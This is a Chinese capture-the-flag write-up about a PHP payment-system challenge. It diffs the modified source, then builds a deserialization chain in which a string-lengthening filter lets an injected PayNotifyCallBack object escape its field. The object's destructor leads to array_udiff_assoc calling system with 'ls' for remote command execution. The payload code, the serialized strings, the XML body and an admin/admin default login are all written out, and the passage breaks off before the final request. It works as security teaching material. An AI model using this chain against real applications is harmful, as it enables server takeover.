首先是得到了支付系统的源码,第一步使用扫描工具进行扫描,没有发现简单的漏洞,决定从网上寻找源码,对比原始文件的方式,查看出题者具体改了哪些代码。
PS:总不可能让我们挖0day吧。
下载链接,0币下载(工具除外)
题目下载
源码下载
工具下载
使用 Beyound Compare 进行文件对比(52上有pj),很快发现了几处修改
第1处
// /includes/cron/cron.php
# 新增
function filter_($str) {
return str_replace("cxyu", "ccxyu", $str);
}
...
# 新增
$data['userdata'] = $_POST['userdata'];
...
# 利用点
$serial_str = filter_(serialize($data));
第2处
// /admin/index.php
# 新增
include("../submit/wxpay/wxpay_notify.php");
...
# 利用点
$data=unserialize(file_get_contents(SYSTEM_ROOT.'db.txt'));
第3处
// /submit/wxpay/wxpay_notify.php
class PayNotifyCallBack extends WxPayNotify
{
...
public function NotifyProcess($data, &$msg)
{
//file_put_contents('log.txt',"call back:" . json_encode($data));
$notfiyOutput = array();
# 新增,利用点
if (!array_udiff_assoc([$data["array_data"]], [1], $data["callback"])) {
$msg = "输入参数不正确";
return false;
}
}
...
}
第4处
// /includes/wxpay/WxPay.Notify.php
class WxPayNotify extends WxPayNotifyReply
{
/**
* 开始监听
* 利用点
*/
public function __destruct()
{
//Log::DEBUG("begin notify");
$this->Handle(false);
}
...
/**
*
* 回调入口
* @param bool $needSign 是否需要签名输出
*/
final private function Handle($needSign = true)
{
$msg = "OK";
//当返回false的时候,表示notify中调用NotifyCallBack回调失败获取签名校验失败,此时直接回复失败
# 利用点
$result = WxpayApi::notify(array($this, 'NotifyCallBack'), $msg);
if($result == false){
$this->SetReturn_code("FAIL");
$this->SetReturn_msg($msg);
$this->ReplyNotify(false);
return;
} else {
//该分支在成功回调到NotifyCallBack方法,处理完成之后流程
$this->SetReturn_code("SUCCESS");
$this->SetReturn_msg("OK");
}
$this->ReplyNotify($needSign);
}
}
第5处
class WxPayApi
{
...
/**
*
* 支付结果通用通知
* @param function $callback
* 直接回调函数使用方法: notify(you_function);
* 回调类成员函数方法:notify(array($this, you_function));
* $callback 原型为:function function_name($data){}
*/
public static function notify($callback, &$msg)
{
//获取通知的数据
$xml = file_get_contents("php://input");
//如果返回成功则验证签名
try {
# 利用点
$result = WxPayResults::Init($xml);
} catch (WxPayException $e){
$msg = $e->errorMessage();
return false;
}
# 利用点
return call_user_func($callback, $result);
}
...
}
我们来整理一下思路
第1、2、3处为做着修改的部分,其实做着的意图也很明显
第1处,作者让我们构造一个存在漏洞的序列化字符串,并写入db.txt文件。
第2处,作者读取db.txt文件内容,让我们使用反序列化,利用我们之前构造的序列化字符串干坏事,具体什么坏事呢?看第3处。
第3处,这里出现了一个新增的函数array_udiff_assoc,这是一个允许传入字符串作为回调函数的函数。
那么我们就要利用这个函数,构造$data['callback']
作为函数名,构造$data['array_data']
作为参数。
这里需要注意,$data['callback']
必须支持2个参数,具体为什么,可以自己运行array_udiff_assoc
试一下,这里我使用的是system函数。
接下来,就是考虑如何利用PayNotifyCallBack类,使其调用NotifyProcess
搜索了很久,没有发现直接调用的地方,但发现了第4处,代码中使用了WxpayApi::notify
,可能是关键点,查看文件,发现第5处。
很明显,WxpayApi::notify
接收一个POST流,并以XML格式进行解析,将解析的内容当做NotifyProcess
的参数进行返回,那么,上面提到了$data的内容我们就有了。
最后,就是如何利用反序列化漏洞,去触发这个方法
同样第4处,我们可以看到,WxPayNotify
类有一个__destruct
魔术方法,在对象销毁时触发,并调用了Handle
方法,这正是我们需要的方法。
那么,线索就齐了
我们post一个值到/includes/cron/cron.php,通过访问/admin/index.php文件来触发反序列化漏洞,通过漏洞,我们创建了一个PayNotifyCallBack
对象,在对象销毁时,会触发上面的函数调用过程,所以我们通过post访问/admin/index.php,并传递一个如下的body来getshell
<xml><array_data><![CDATA[ls]]></array_data><callback><![CDATA[system]]></callback></xml>
开始构造Payload
- 首先,我们要利用php序列化字符串的特性,payload如下:
userdata[cxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyu";O:17:"PayNotifyCallBack":0:{};s:1:"b";s:8:]
这里我扩充说明一下:
这里需要利用上面提到的filter_
函数
function filter_($str) {
return str_replace("cxyu", "ccxyu", $str);
}
他会协助我们构造payload,当我们传送一个字符串时,他为替我们扩充字符串的长度,也就是,我们可以通过多出来的字符串,来修改这个序列化的值,构造的代码如下:
$payload = '";O:17:"PayNotifyCallBack":0:{};s:1:"b";s:8:';
$payload = str_repeat('cxyu', strlen($payload)) . $payload;
$data['userdata'] = [$payload => 'bb'];
// $data['userdata'] = 'O:4:"PayNotifyCallBack":0:{};s:0:"';
function filter_($str) {
return str_replace("cxyu", "ccxyu", $str);
}
var_dump(filter_(serialize($data)));
相当于我为userdata下标构造了这样一个数组
array(
"userdata" => [
'cxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyucxyu";O:17:"PayNotifyCallBack":0:{};s:1:"b";s:8:' => 'bb'
]
)
最终的序列化结果如下
a:1:{s:8:"userdata";a:1:{s:220:"ccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyuccxyu";O:17:"PayNotifyCallBack":0:{};s:1:"b";s:8:";s:2:"bb";}}
可以看到,我利用s:8:
去吞掉了一个不需要的双引号;s:2:"bb
,(或者构造一个长度为2的数据,同理用字符串长度去吃掉第二个数据即可,这样数组长度在序列化中就不会出现不一致的情况),至此,我得到了我的第一个payload
- 我们访问/admin/index.php,发现需要登录,幸运的是,账号密码均为admin,获取登录的cookie信息,发送payload如下: